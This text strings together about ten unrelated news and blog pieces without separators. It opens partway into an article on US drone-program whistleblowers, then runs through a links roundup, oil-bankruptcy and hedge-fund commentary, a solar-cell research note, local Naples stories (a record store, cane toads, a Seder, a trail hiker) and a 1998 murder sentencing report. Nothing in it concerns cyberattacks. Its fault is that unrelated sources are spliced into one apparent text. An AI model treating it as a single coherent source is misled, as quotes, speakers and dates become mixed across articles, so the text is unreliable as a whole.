In desperation Heather turned to her mother. Shed call me up and shed cry and shed be upset, but then she couldnt talk about it, her mother says. When you hear your daughter talking to you on the phone, you can that tell she is in trouble just by the emotion and inflection and the stress that you can hear in her voice. When you ask her, did you talk to anyone else about it? Shed say no, were not allowed to talk to anybody. I have a feeling that if someone wasnt there for her, she wouldnt be here right now.

Like Heather, Daniel has so far survived his own drone-war-induced mental health issues, but in his post-drone life hes run into a formidable enemy: the U.S. government. On August 8, 2014, he estimates that as many as 50 Federal Bureau of Investigation agents raided his house, seizing documents and his electronics.

The government suspects that he is a source of information about the [drone] program that the government doesnt want out there, says Jesselyn Radack, his lawyer and herself a former Department of Justice whistleblower. To me, thats simply an attempt to silence whistleblowers, and it doesnt surprise me that that happens to the very few people who have been brave enough to speak out against the drone program.

If that was the intention, however, the raid  and the threat it carries for other whistleblowers  seems not to have had the desired effect. Instead, the number of what might be thought of as defectors from the drone program only seems to be growing. The first to come out was Brandon Bryant, a former camera operator in October 2013. He was followed by Cian Westmoreland, a former radio technician, in November 2014. Last November, Michael Haas and Stephen Lewis, two imagery analysts, joined Westmoreland and Bryant by speaking out at the launch of Tonje Scheis film Drone. All four of them also published an open letter to President Obama warning him that the drone war was escalating terrorism, not containing it.

And just last month, Chris Aaron, a former counterterrorism analyst for the CIAs drone program, spoke out on a panel at the University of Nevada Law School. In the relatively near future, Radack recently told Rolling Stone, four more individuals involved in Americas drone wars are planning to offer their insights into how the program works.

Like Heather and Daniel, many of the former drone operators who have gone public are struggling with mental health problems. Some of them are also dealing with substance abuse issues that began as a way to counteract or dull the horrors of the war they were wagomg and witnessing. We used to call alcohol drone fuel because it kept the program going. Everyone drank. There was a lot of coke, speed, and that sort of thing, imagery analyst Haas told Rolling Stone. If the higher ups knew, then they didnt say anything, but Im pretty sure they must have known. It was everywhere.

Imagine If This Was Happening to Us

In recent months, something has changed for the whistleblowers. There is a new sense of camaraderie among them, as well as with the lawyers defending them and a growing group of activist supporters. Most unexpectedly, they are hearing from the families of victims of drone strikes, thanks to the work of groups like Reprieve in Great Britain.

In mid-April, for instance, Cian Westmoreland traveled to London and met Malik Jalal, a Pakistani tribal leader who claims that he has been targeted by U.S. drones on multiple occasions. Clive Lewis, a member of Parliament and military veteran, released a photo on Facebook of the historic meeting. Its possible that one of the two men Im [standing] between in this picture, Cian Westmoreland, was trying to kill the man on my right, Malik Jalal  at some stage in the past seven years, Lewis wrote. Their story is both amazing and terrifying. At once it shows the growing menace and destructive capability of unchecked political and military power juxtaposed with the power of the human spirit and human solidarity.

As that sense of solidarity strengthens and as the distance between the former hunters and the hunted begins to narrow, the whistleblowers are beginning to confront some distinctly uncomfortable questions. We often hear that drones can see everything by day and by night, a different drone victim of the February 2010 strike in Uruzgan told filmmaker Kennebeck. You can see the difference between a needle and an ant but not people? We were sitting in the pickup truck, some even on the bed. Did you not see that there were travelers, women and children?

When the president and his key officials look at the drone program, they undoubtedly dont see women and children. Instead, they are caught up in a Hollywood-style vision of imminent danger from terrorists and of the kind of salvation that a missile launched from thousands of miles away provides. It is undoubtedly thanks to just this thought process, already deeply embedded in the American way of war, that not a single candidate for president in 2016 has rejected the drone program.

That is exactly what the whistleblowers feel needs to change. I just want people to know that not everybody is a freaking terrorist and we need to just get out of that mindset. And we just need to see these people as people  families, communities, brothers, mothers, and sisters, because thats who they are, says Lisa. Imagine if this was happening to us. Imagine if our children were walking outside of the door and it was a sunny day and they were afraid because they didnt know if today was the day that something would fall out of the sky and kill someone close to them. How would we feel?
A friend is giving me a ticket for Otello at the Met, and so I need to get on a more normal sleep cycle to be in shape to enjoy it. Please forgive the lack of original posts!

Tributes in purple to superstar Prince BBC. Even the FT has this as its top story.

Petition: You can make Japanese whaling a deal breaker Care2

Gender stereotyping may start as young as 3 monthsstudy of babies cries shows Medical Xpress (Chuck L)

Solar plane successfully departs from Hawaii with no fuel (Update) PhysOrg (Chuck L)

Koch Brothers Look West, Set Sights on Mining the Grand Canyon Sputnik (Chuck L). Ugh.

Leaders Roll Up Sleeves on Climate, but Experts Say Plans Dont Pack a Wallop New York Times

Signing on to a more secure and stable world Bangkok Post. Climate.

Light-driven dinitrogen reduction: Scientists shed new light on global energy, food supply challenge PhysOrg. Chuck L: This could be mucho beneficial. In the short term. Unfortunately, it will likely encourage the breed-the-way-to-dominance theocrats such that the human-lemmings make an even bigger splat when our descendants eventually hit the wall.

We Still Havent Found a Fountain of Youth in Our DNA MIT Technology Review (David L). Key point: Longevity is one of the lowest heritable traits.

Apple should pay more tax, says co-founder Wozniak BBC. 50% tax rate! Go Woz!

Mossack Fonseca

9 questions you were too embarrassed to ask about the Panama Papers Vox

China?

Refugee Crisis

Brexit?

Big Brother is Watching You Watch

Imperial Collapse Watch

2016

How Sanders Could Lay the Foundation for a Third US Political Party TruthOut (Chuck L)

Bernie Sanders and the Rainbow in Vermont (1990) Verso. Lambert: Important

Native American Council offers amnesty to 220 million undocumented whites Minds (Chuck L)

How Clarence Thomas Became the Supreme Courts Strangest Justice Vice (resilc)

Congress Top Legal Pot Advocate on the Future of Marijuana Policy Rolling Stone. Resilc: Better to use smack for pain since it supports the economy of Afghanistan is the DC thought I gather.

Gunz

More Than 1,000 Shot in Chicago So Far This Year New York Magazine (Dr. Kevin)

Why Havent Bankers Been Punished? Just Read These Insider SEC Emails ProPublica. While the documents provide some additional detail, as Richard Smith points out, there really isnt anything new here. From the outside, it was clear the SEC had decided to make only a token effort of prosecuting banks for creating toxic CDOs, with one settlement per player. We wrote about this in gory detail at the time. And the article skips over the real reason: the head of enforcement, Robert Khuzami, had been General Counsel of the Americas for Deutsche Bank from 2004 to 2009. Greg Lippmann (featured prominently in The Big Short and in Greg Zuckerbergs The Greatest Trade Ever, which has much more detail on the subprime short strategy) was patient zero of subprime CDOs. Deutsche had a program like Goldmans Abacus program called Start. Any serious investigation of CDOs would implicate Khuzami. It was never going to happen.

How Goldman Sachs vampire squid became a flattened slug Gillian Tett, Financial Times

US finance professionals face fresh pay crackdown Financial Times. I hope to say something on this for Sunday or Monday. This is promising but (as usual) there are potential problems.

Class Warfare

Antidote du jour (Kittie W via Lawrence R):

See yesterdays Links and Antidote du Jour here.
By Michael McDonald, an assistant professor of finance and a frequent consultant to companies regarding capital structure decisions and investments. Originally published at OilPrice

A central tenet in the thesis by analysts about the oil markets rebalancing has been that as prices declined, oil companies would be forced into bankruptcy. That in turn would lead to declining production, and eventually a rebalancing of supply and demand in the market, followed by higher prices. That process is already taking longer than many expected, and it looks like more time is needed. That additional time to balance the market is being driven by an unexpected factor; bankrupt oil companies are still pumping.

As oil prices have declined, the number of bankruptcies and distressed oil majors has quickly risen into the dozens. In fact, a recent Reuters analysis suggests little effect on production from when companies enter bankruptcy. Reuters cited Magnum Hunter as a primary example of this reality.

While Magnum Hunter filed for bankruptcy in December 2014, the firm has scrambled even in Chapter 11 to keep its oil flowing, resulting in O&G production rising by roughly one-third between mid-2014 and late 2015. The firm has used the protection bankruptcy courts to help stave off creditors while keeping the pumps flowing full tilt. Nearly all of Magnum Hunters 3000 wells are still producing crude, and that makes sense for several reasons.

First, daily costs for operating wells remain well below current spot prices. While drilling new wells is not economical, it is perfectly logical to keep exploiting existing wells. Fracked wells usually start to see a significant decline in production after about two years of operations. So eventually Magnum Hunter and other companies will see their production fall, but two years can be a very long time to pump.

Second, creditors want to extract maximum value from the company and the best way to do that in the current environment is to keep the oil flowing. Bid-ask spreads on oil assets for sale are simply too wide for most companies to be interested in selling assets while in Chapter 11. Instead, creditors maximize the present value of their assets by continuing to pump oil. This oil can either be stored leading to a large risk free profit, or it can be sold on the spot market. Either way, Magnum Hunter and other bankrupt producers are acting in the best interests of their creditors by continuing to pump. Unfortunately, those actions are not in the best interests of the broader industry or energy sector stock investors.

Third, management at bankrupt producers also have little reason to do anything other than keep the crude flowing. In the current energy market, getting a job is very difficult, especially for top managers coming from a bankrupt producer. As a result, managers rationally want to make sure they stay useful in Chapter 11 and that means trying to convince creditors to keep the company operating rather than converting to a Chapter 7 liquidation. Not all O&G firms should be kept operating  some firms are better off being liquidated  but creditors often lack the necessary industry expertise to be able to distinguish between firms that have a future after emerging from Chapter 11, and those that dont and are better off in a Chapter 7 sale. And again, management has very little incentive to put themselves out of a job by recommending Chapter 7.

On the whole then, while the oil markets are slowly making progress in rebalancing, the process is slower than most investors would like. Bankruptcy alone cannot rebalance the oil markets. Instead, natural well depletion and a lack of new investment are the driving forces that are reducing production over time. Those forces will continue in the future, but for now investors will just have to be patient and not get ahead of themselves.
Yves here. I was remiss in not writing up an important story yesterday, on how hedge funds are finally getting long-overdue pushback from investors on the lousy connection between fees and performance. We flagged this issue in our very first post in 2006. CalPERS admitted back then that hedge funds were not delivering any performance premium, despite the lavish fees. The giant pension fund rationalized staying in the strategy because it believed that hedge funds nevertheless provided returns that werent closely tied to stock market returns. We pointed out then that that was no justification for paying the lofty 2 and 20 (2% management, 20% carry fees) because you could construct that type of exposure, or hedge, much more cheaply, as hedge fund clones were staring to do.

The investment rationale for hedge funds has only gotten worse. Since 2012, hedge fund returns have become more correlated with the stock market, reducing its diversification benefit. Typical hedge fund returns have by many measures undershot equity market returns. And marquee funds, like Paulson & Company, Greenlight Capital, and Pershing Square, have badly underperformed, savaging the myth that institutional investors might tell themselves, if only theyd been more exposed to the really hot funds.

By Wolf Richter, a San Francisco based executive, entrepreneur, start up specialist, and author, with extensive international work experience. Originally published at Wolf Street

The wrath of investors: worst capital outflows since 2009.

Big public pension funds are slow-moving apparatuses. So dramatic shifts in investment decisions take a long time to be discussed and decided, and even longer before theyre felt by the investment community. But now theyre being felt  painfully.

In September 2014, the $300-billion California Public Employees Retirement System, the nations largest pension fund, announced that it would liquidate over the following year its investments totaling $4 billion in 24 hedge funds and six funds-of-funds; they were too complicated and too expensive.

Calpers interim CIO Ted Eliopoulos said at the time that, at the end of the day, when judged against their complexity, cost and the lack of ability to scale at Calpers size, the hedge fund program doesnt merit a continued role.

And this ended pension funds post-financial-crisis love affair with hedge funds.

Hedge funds were supposed to help pension funds fill in their funding holes with higher returns. They were supposed to help pension funds fulfill their lofty promises to the retirees. Instead, hedge funds have deepened those holes with below-par returns  and some with spectacular losses. And to make the bitter fare go down better, theyve decorated it with dizzying fees.

Calpers is the model for many pension funds. And its decision soon began to reverberate through the industry. Other pension funds chimed in. For example, last Thursday, the New York City Employees Retirement System voted to liquidated its entire $1.5 billion hedge fund program, a trustee told Reuters, as soon as practicable in an orderly and prudent manner.

Letitia James, public advocate for NYCERS, lambasted hedge funds for their exorbitant fees and lashed out at managers who balk at negotiations for investor-favorable terms, thinking they could do no wrong, even as they are losing money.

If they were truly fiduciaries and cared about our members, they would never charge large fees for failing to deliver on their promises, she told the Financial Times. Let them sell their summer homes and jets, and return those fees to their investors.

Hope, lousy returns, and high fees. A toxic mix.

And those fees are big: 2% of assets plus most commonly, for the lucky ones, 20% of profits. If these profits arent substantial, its a prescription for investor frustration.

Pension funds werent the only ones. The oil bust has mauled the finances of oil producing countries, and their sovereign wealth funds, such as those of Norway and Saudi Arabia, have been selling assets and withdrawing billions from hedge funds around the world in order to prop up their public finances and battered economies.

And now it has trickled down to the numbers  the worst numbers for hedge funds since 2009.

Capital outflows in the first quarter reached $15.1 billion, the largest quarterly outflows since Q2 2009, according to Hedge Fund Research, as volatile markets and early quarter performance resulted in falling investor risk tolerance and led to redemptions from underperforming strategies.

That made two quarters in a row of outflows, the first such pair since 2009.

While some funds picked up assets, event-driven funds and macro-strategy funds got hit the hardest; their capital declined by $8.3 billion and $7.3 billion respectively.

It didnt help that hedge funds in the aggregate also lost money in the quarter: -0.7% according to the HFRI Fund Weighted Composite Index. The loss isnt huge. But you pay the ultimate smart money hefty fees so that they earn a high return for you. And a loss like this doesnt fit into the scenario.

Interestingly, while they lost money in the first half when stocks were heading south in a hurry and when the bottom fell out of junk bonds, they didnt lose as much as the overall stock market index. At the time, the industry bragged about its ability to ride out market turmoil and volatility.

But then, in the second half of the quarter, when the S&P 500 shot up 15% and when junk bonds soared, they missed part of the rally. And so they didnt quite make back what theyd lost in the first half. Even lowly index funds beat hedge funds in the quarter  as they have been year after year since the financial crisis!

Between capital outflows and capital evaporation, assets under management declined to $2.86 trillion. HFRs report put it this way: The volatile performance environment continues to be dominated by intense dislocations, sharp reversals, and rapidly shifting correlations across assets.

Those words are not particularly soothing to pension funds. They too see the hedge-fund drama-queens showing up in the media. And they compare the results to those of index funds and their own portfolios. And theyre thinking: if index funds can beat hedge funds, and if we can do it too, why pay the fees?

So what does another gored bear  whos famously stuck to his own business, real estate, and gold while lambasting stocks for years even as they have soared  do to try to tilt the odds in his favor in the shabby world of money? Here are his doubts and his thought process for a radical shift. Read. The Man Im Betting $5 Million On
Thin-film solar cells: How defects appear and disappear in CIGSe cells (Nanowerk News) Copper-indium-gallium-selenide (CIGSe) solar cells have the highest efficiency of polycrystalline thin-film solar cells. The four elements comprising CIGSe are vapour-deposited onto a substrate together to form a very thin layer of tiny chalcopyrite crystals. It is an exceedingly complex process controlled by many variables.

This is why CIGSe modules in standard industrial formats have not yet attained the record efficiency already demonstrated at laboratory scale. One possible cause: defects that reduce the efficiency level can form during the course of fabrication.

A collaboration of German, Israeli, and British teams has now conducted detailed studies of how different fabrication techniques influence the microstructure (Energy & Environmental Science, "Annihilation of structural defects in chalcogenide absorber films for high-efficiency solar cells"). They were able for the first time to observe the defects as these formed during deposition and under what conditions they self-healed by using in-situ X-ray diffraction and fluorescence analysis capabilities at the BESSY II X-ray source.

The data (photon energies over time) show defects (lower signal) which disappear after 120 minutes. This happens at the transition from the copper-poor phase to the copper-rich one. (Image: Helmholtz-Zentrum Berlin fur Materialien und Energie)

Additional copper helps defects heal

Vapour deposition of thin CIGSe films is a complex process. Indium, gallium, and selenium are first deposited on the substrate. The deposition of the copper and selenium atoms takes place in a second step. These atoms migrate into the In-Ga-Se layer. Tiny CIGSe crystals of chalcopyrite form there. The concentration of copper only reaches the correct value over the course of this second step. The prior copper-poor phase is characterised by numerous defects within the crystal.

The defects increasingly disappear with the addition of copper and selenium. If more copper and selenium atoms are added after reaching the "right" ratio, then these two elements no longer fit into the existing crystal matrix and deposit themselves as copper and selenium grains in and on the polycrystalline CIGSe layer. This is actually problematic, since the grains must be removed afterwards. Nevertheless, they apparently have an important function in reducing the defects to near zero, as the current work shows.

Analysing growing structures of elements in real time

Dr. Roland Mainz and his colleagues at HZB were able to observe the changes to the film structure during deposition using X-ray diffraction at the EDDI beamline of BESSY II - in real time. At the same time, they were able to use X-ray fluorescence to analyse the elemental composition of the thin-film layer as it grew. Simultaneous observation with two methods enabled them to obtain a new insight: "The annihilation of the defects takes place very rapidly - just prior to the excess copper-selenium grains being deposited on the surface of the CIGSe film and the film entering the copper-rich phase. So far, we had only understood the copper-rich phase as being important for the growth of the grains. Now we know that it also plays an important role in the elimination of the defects", explains Mainz.

Improving vapour deposition processes for high-quality CIGSe films

Helena Stange, co-author of the study, simulated the influence of the various types of defects on the diffraction signal. The in-situ observations fit extremely well with the simulations and with the results derived from different imaging processes used to study the samples in various stages of deposition by teams at the Max Planck Institute for Solid State Research in Stuttgart, the SuperSTEM Lab in Daresbury, England, and at the Racah Institute, Jerusalem.
Mike Novak, owner of Epic Audio Video, stands for a portrait in his store in Naples. Along with high-end amplifiers and stereo systems, Epic Audio Video also sells retro stereo equipment such as turntables, 8 track tapes and players, and reel to reels.

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By Tracy X. Miguel-Navarro

Southwest Floridians are finding their groove at a local home theater store.

From Frank Sinatra and The Beatles to Taylor Swift and Sesame Street records, music lovers can find an array of 12-inch vinyl long-playing, or LP, music records at Epic Audio Video.

Dr. John Pierre van Dongen, who used to listen to records years ago, is getting back into vinyls.

"It's a much fuller experience," he said.

And one that van Dongen wants others to have.

Now, Southwest Florida residents can experience the sound of albums at Epic Audio Video, which has 25 years' experience in designing and installing large house and business systems throughout the nation. The store recently relocated to Tanglewood Marketplace strip mall at 4910 U.S. 41 N., Suite 108, adjacent to Outback Steakhouse in Naples.

As a family practice doctor, van Dongen encouraged people to listen to music because it's therapeutic. He said there are tremendous benefits of taking the time to listen to good music.

"It's an art that we are losing because we are in such a rush world," he said.

Owner Michael Novak said opening a retail store has always been his dream.

"I wanted to do retail," said Novak, 45. "I just never had the opportunity."

Until now. The store opened at Pine Ridge Road and U.S. 41 for eight months until relocating to its new site two months ago.

The store had to move to a larger space to display about 5,000 used and new records, about 500 45 rpm records and several turntables, 8-track tapes and reel-to-reel tape machines.

Novak said he has been surprised to discover that young teenagers are buying the older records.

Ultimately, Novak wants to keep about 10,000 records at the store.

"As the store grows, I'll bring more and more equipment," he said. "I just don't know what the market will bear."

He wants the store to become a site where people return to spend time.

The Naples store carries several brands, including Bowers & Wilkins, McIntosh, Meridian designs, Samsung, Panasonic, Kaleidescape System and Revel.

Novak said his goal is to become one of the nation's largest dealers of McIntosh, a manufacturer of high-end audio and video equipment.

Novak said the best-sellers are records, turntables and headphones.

Popular product prices range from $4 for a used record to $2,200 for a Clearaudio Concept turntable. Used records typically range from $4 to $20 and most new records cost $30 to $40.

Apart from offering state-of-the-art home theaters, Epic installs home remote security systems, which can easily be accessed from a smartphone.

The audio store has seven employees.

The company also specializes in the installation of structured wiring, fiber optic networks, cameras, lighting, climate control, and home theater and home automation. In addition, Epic is Collier County's largest Crestron Electronics dealer with several multimillion-dollar installations in its portfolio, according to its website.

Bob Gaertner, 62, a part-time Naples resident from New Jersey, enjoys browsing through the records at Epic and talking to Novak. Gaertner has a collection of more than 1,000 records that he has accumulated through the years.

"To me, the reproduction of music in the digital format is a little flatter than on records," said Gaertner, who prefers listening to records.

Gaertner said listening to records also reminds him of certain times in his life, which were usually happy times.

Van Dongen, who recently purchased a turntable and other equipment at Epic, said he is pleased with Novak's musical equipment and level of service.

Van Dongen, who plans to educate his young children about music, said records contain the highest quality reproduction of music.

"Music is so transporting. It's food for the soul," he said.
<p>Ding Darling National Wildlife Refuge interns found this cane toad on Sanibel Island in August 2013. When the giant cane toad is threatened or handled, it secretes a highly toxic milky substance from glands at the back of its head which can irritate skin or even kill dogs and cats if they ingest it. Contributed photo</p>

Q: Is Collier County going to take any action to eradicate cane toads? This beautiful time of year is perfect weather for sitting outside in the evening but it is impossible to do without hearing the loud noise from these foul creatures.

 Dick Furgal, Naples

A: Cane toads, also known as Bufo, marine or giant toads, get a bad rap for a good reason.

As a defense mechanism, the invasive amphibian excretes a highly toxic milky substance from triangular glands on each side of its head when it is threatened or handled. This toxin can kill other animals, including dogs and cats that get it in their mouths. The toads eggs and tadpoles can even be toxic to some fish.

Unfortunately, it would be almost impossible to eradicate them. We just dont have the manpower to do it. Our main goal is outreach to educate the public about them, said Conservation Colliers Christal Segura, who co-chairs the Southwest Florida Cooperative Invasive Species Management Area, or CISMA, a regional group that meets quarterly to discuss exotic plants and animals.

Segura knows all too well the impact these poisonous toads can have.

My father-in-law lost his Doberman pinscher because it tried to catch one. (The dog) died the next day, she said.

Last summer, an alert pamphlet, titled Beware of Invasive Cane Toads: Huge Toad is a Dog and Koi Killer, was published by Doug Caldwell, the commercial landscape horticulture extension educator and landscape entomologist with the University of Florida Collier County Extension Service. He reports that invasive toads may be killed humanely by putting them inside a plastic bag or container and placing them in a freezer to kill them within three to five days.

You can maybe manage your local neighborhood, but it would be a huge effort, Caldwell said in a phone interview.

Unfortunately, cane toads resemble native Southern toads, which usually are less than 4 inches long and dont pose a local threat.

I dont want people going out on a toad witch hunt. We have native toads, too, said Bryan Fluech, Collier Countys Florida Sea Grant Extension agent. We are just trying to get the word out to the public so that they dont let Fido wander off into the brush unattended.

If your pet should come in contact with cane toad toxins, repeatedly wipe the pets gums and mouth with a wet wash cloth to try to clear the poison. Then, get them to a veterinarian as soon as possible.

Cane toads are so named because these natives of South and Central America were relocated and released into U.S. sugar cane fields many years ago as a biological control agent against beetle larvae grubs that were damaging crop roots. Because of their proliferation now, the toads have become one of the worlds worst invaders.

These giant toads  some as large as a salad plate  eat many native frogs, reptiles, birds and even small mammals active at ground level during the night. They also munch on pet food and drink fresh water, so dont leave bowls of them outside.

While exotic species such as pythons, lionfish and Brazilian pepper trees get a lot more attention, experts dont know the cane toads true impact on the local ecosystem.

Weve been hearing more and more reports about them. Its kind of like Cuban tree frogs, Segura said. They are just part of our environment now. The South Florida environment is the perfect environment for anything to live in.

Chances are good that you will see or hear cane toads in South and Central Florida. These prolific breeders spawn year-round in freshwater bodies, such as ponds, canals and ditches.

I think, if youve got a retention pond, you are going to have cane toads, Caldwell said.

No matter what you call them, these huge toads have been noisy this year. You most likely have heard the cane toads distinctive night call, a trill that sounds sort of like the hollow drumming of a woodpecker. CLICK HERE for audio of cane toads mating call.

MORE CANE TOAD INFO

KNOW MORE: What is being built on the East Trail? CLICK HERE to find out.

Have a local question? Email it with your name and city of residence to intheknow@naplesnews.com. In the Know is published every Monday and Wednesday. Like In the Know on Facebook now at facebook.com/timaten.intheknow.
Luke Franke/Staff Daryl Sissman, left, shares a laugh with close friend Debra Atkins as the two begin to prepare for the Jewish Seder, a ritual feast that marks the beginning of the Jewish Passover, days before at Sissman's home in Naples. Sissman and her family will host guestsSaturdayat the Seder.

SHARE Daryl Sissman likes to create a fun environment for the children during the Seder and goes out of her way to create replicas of biblical figures, such as baby Moses floating through the reeds. Debra Atkins, right, shares a laugh with Daryl's father-in-law, Arthur Sissman, as she begins to prepare for the Jewish Seder, a ritual feast that marks the beginning of the Jewish Passover, days in advance at Daryl's home in Naples. Daryl and her family will host close to 70 people on Saturday to celebrate and to remember the Passover. (Luke Franke/Staff) Daryl Sissman likes to foster a fun environment for the children during the Jewish Seder and goes out of her way to create fun replicas of certain biblical figures. Like this small replica of the Jews fleeing from the Egyptians as they cross the Red Sea. (Luke Franke/Staff) A plate is used to organize food that is consumed during the Jewish Seder. Seder, meaning "order" in Hebrew, marks the beginning of the Jewish Passover. (Luke Franke/Staff) Related Photos Photos: Preparing for Passover

By Kristine Gill of the Naples Daily News

Debra Atkins needed a toothpick. She had already spelled the names of a handful of the 67 guests expected to show up to the Saturday Seder with white chocolate tinted blue. Now she was affixing each letter to a piece of matzo to serve as place cards.

At her request, Daryl Sissman pivoted in the kitchen of her home on Whispering Pine Lane in Naples, white apron twirling, as she headed for the pantry.

"We're both on the Board at Temple," Sissman said, her voice muffling as she rummaged through boxes of dry goods. "That's a very meaningful part of our lives."

Atkins nodded, head bent over her matzo project.

"Toothpicks aren't a very important part of lives," Sissman mused.

With Atkins using a straight pin instead, the first name card came together Wednesday morning. Just 66 to go.

While most Jewish families traditionally celebrate the first night of Passover with a ritualistic dinner ceremony called a Seder, lasting up to four hours, Sissman has for the past few years opened her home to extended family, Jewish friends and those of other denominations to take part in a less traditional Seder on the second day of Passover.

Rabbi Adam Miller at Temple Shalom said it's a tradition a few Naples families have started given that so many residents here are transplants far from family on the happiest holiday of the year.

"They've created their own families," he said. "And they're having large Seders with each other."

Sissman will celebrate the first night of Passover Friday with 13 family members, when they'll eat roast chicken and salmon and spend a couple of hours going through the story of their people's freedom from Egypt, eating the foods on their Seder plate  hardboiled eggs, horseradish, shank bone, charoset  and reciting the 10 plagues.

Then on Saturday, the tradition takes a twist. The ritual will last just 45 minutes, to hold everyone's attention.

They'll start with stuffed mushrooms and lamb meatballs at a home down the street, then walk "in Exodus" behind a guest dressed as Moses to Sissman's home, where they'll eat brisket and tuna.

The kids' tables will be decorated with little centerpieces showing a plastic infant Moses, wrapped in burlap and floating down a river of blue Jell-O.

Guests, in their native languages  which this year will include Portuguese, Mandarin and even "lawyerese"  will answer the four questions about why the holiday is celebrated.

And some of the 34 kids in attendance will dress up as the 10 plagues.

"My son will throw ping pong balls for hail," Sissman said.

"I think my daughter wore all red last year to symbolize blood," Atkins said.

The tradition started because, like Miller said, so many families are far from home during the holiday. And because when she was growing up, Sissman didn't recall having much fun at Seder.

"We make it fun because we want people to enjoy it," Sissman said. "Otherwise you eat and you sit and it's all in Hebrew and the kids just ... We're teaching them in a way that they want to continue it."

Sissman's friend Soofia Khan is coming Saturday with her children, but she's not Jewish. Her father was Muslim and mother was Methodist. It made for an open-minded upbringing she said, which is part of the reason she's looking forward to her second Passover at Sissman's home.

"For me it's more of a cultural experience," Khan said. "It's the same reason people travel. And just like at a Catholic ceremony where not everyone takes communion, you're still certainly part of the wedding."

On Wednesday, Sissman's white apron had picked up some stains. Opened bags of brown sugar, bottles of Seltzer water and a tub of chicken fat (bought over at Jimmy P's Butcher Shop & Deli) for the homemade matzo, lay strewn about the kitchen. Atkins and Sissman munched on a bag of rejected matzo crunch, chocolate toffee atop the traditional flat bread, and put the finishing touches on a few items during the second week of cooking.

There still were the fish cakes to make. But not the traditional gefilte fish, of course.

"We're doing snapper fish cakes instead with cinnamon and mango chutney," Sissman said, beaming.

Sissman leaned against the kitchen island and sighed, considering the work ahead. Atkins offered a friendly eyeroll, completely on board for what was promising to be a big holiday and a great time.

"If you show up Saturday, it should be more  "

"Polished," Atkins offered.

"Yes, polished."
Appalachian Trail hiker and Bonita Springs resident Joshua Yearout took a selfie at Snowbird Gap in the Nantahala National Forest in North Carolina.

By Joshua Yearout

Editor's Note: Joshua Yearout is a Bonita Springs man who is hiking the Appalachian Trail, beginning April 2016. His trail name is OmPi. He will be sharing dispatches from his travels with naplesnews.com.

WAYAH BALD, N.C.  It's hard to believe it's been two weeks that I've been living in the mountains that make up the Appalachian Trail. Slowly I continue making my way to Maine. This past week was full of milestones and firsts. The first being crossing into North Carolina from Georgia.

The Appalachian Trail runs through 14 states so with Georgia checked off my list, I continue working through the other 13. After a stay at Top of Georgia Hostel with trail legend Bob (Sir-Packs-Alot) who is a Triple Crowner, meaning he hiked the Appalachian Trail, the Pacific Coast Trail and the Continental Divide Trail. He told us that as of Hiawassee, Ga., over 25 percent of the hikers have already dropped off the trail  abandoning their through-hike. This week I also crossed the 100 mile mark. Now I have to repeat that 21 more times and I'll be in Maine.

Enjoyed the hospitality of Sir Packs Alot in #Hiawassee Georgia. #TrailLegend Thanks #TOG TopOfGA Hostel A photo posted by @ompihikes on Apr 18, 2016 at 3:38pm PDT

There were more firsts this week than I can mention. To begin, one of my hiking buddies who we call Freefall because on his first night on the trail he fell right out of his hammock, turned 21; we made sure we celebrated by getting him his first beer in town while we resupplied.

It may seem minor but I'm writing this from my hammock as I experience the first rain storm of my trip. The big success is that I have everything well-set and am staying dry and warm.

My first hitchhike into town was from a sweet lady and trail angel named Peggy. She saw us standing on the side of the road and was willing to shuttle us 20 minutes into town, though she did have us sit in the back of the pickup; it may or may not have had to do with our stink!

Nothing like a hitch in the back of an old pickup. Thanks Peggy you are a #trailangel #at2016 #hikertrash A photo posted by @ompihikes on Apr 21, 2016 at 7:12pm PDT

With all these firsts filling my second week I also received my first resupply box. People wonder how we carry 6 months of supplies to be able to hike the trail. We don't. We only carry a few days and resupply in trail towns by either shopping at the grocers or picking up maildrops from home.

Thanks to the generosity of Auto Precision in Naples for sponsoring the shipment of my first maildrop, I barely opened it before some of the other hikers started their feeding frenzy. Burning 5000-6000 calories a day creates some ravenous hunger.

#HikerHunger Strikes! @crispygreensnacks your #CrispyFruit are a huge hit. Thanks to Auto Precision Naples for hooking up my mail drop! A photo posted by @ompihikes on Apr 21, 2016 at 7:24pm PDT

Just the other day while hiking the North Carolina mountains, I had a warm reflection of home as I passed Snowbird Gap. I couldn't pass up the opportunity of a photo to capture the moment. To all my snowbird friends and regulars back home, know that I'm doing well and thinking of you. I look forward to continuing to share this journey with you.

Joshua "OmPi" Yearout began hiking the Appalachian Trail from Georgia to Maine in April 2016. He will be sharing regular dispatches with naplesnews.com. You may also follow him on Facebook.com, Twitter.com and Instagram.com as he shares the summits, valleys and lessons he experiences along the way. He also shares more information on his blog.
This story originally published in the Naples Daily News on Thursday, June 18, 1998

FORT MYERS -- Describing Kevin Foster as the perpetrator of a "cold, calculated and premeditated" murder, Circuit Judge Isaac Anderson on Wednesday sentenced the leader of the Lords of Chaos gang to die in the electric chair for the shotgun slaying of Riverdale High School band leader Mark Schwebes.

As Foster, sporting a buzz haircut and wearing his red prison jumpsuit, listened quietly, Anderson told those in the courtroom that evidence presented in Foster's trial clearly showed Foster had killed Schwebes to avoid arrest after carefully planning the act with fellow members of the gang.

Foster, 21, of Fort Myers, was convicted in March of first-degree murder for going to Schwebes' Pine Manor home on April 30, 1996, and shooting Schwebes in the face with a shotgun, killing the teacher instantly. The same jury that found Foster guilty also recommended by a 9-3 margin that he receive the death penalty.

Under Florida law, all death sentences must be appealed within 30 days. Foster's court-appointed attorney, Deputy Public Defender Robert R. Jacobs II, said it would probably be "a year to 18 months" before oral arguments in an appeal began.

RELATED: 30 years of felonies and murders comes to an end for prosecutor

Anderson, who before Wednesday had never imposed the death penalty, entered his courtroom at the Lee County Justice Center just after 8 a.m. Before reading his decision, the judge recapped the case in front of a small group of onlookers that included relatives of Schwebes and Foster.

The Lords of Chaos , about a half-dozen students who either attended or had dropped out of Riverdale High, formed just a few weeks before Schwebes' murder. During that period, members testified during Foster's trial, the group went on a crime spree that included the torching of a historic Coca-Cola bottling plant in Fort Myers.

The gang, Anderson said in echoing testimony from state witnesses during the trial, was created to "wreak havoc" in the community. Foster was the gang's ringleader, Anderson said. The gang's intentions were disrupted by Schwebes, who caught three members on their way to vandalize Riverdale High on the night he would be killed.

Citing testimony from gang members who became prosecution witnesses through plea bargain arrangements, Anderson said it was clear that gang member Christopher Black decided Schwebes had to die because he threatened to turn the boys over to a school resource officer. Foster readily agreed, Anderson said, fearing the "cold reality" of prosecution.

That Foster had killed Schwebes to avoid arrest was one of the two aggravating factors presented by the state in arguing for the death penalty. The second was that the murder was premeditated, an aggravating factor Anderson said also clearly existed. Only one needed to be proved to warrant the death penalty.

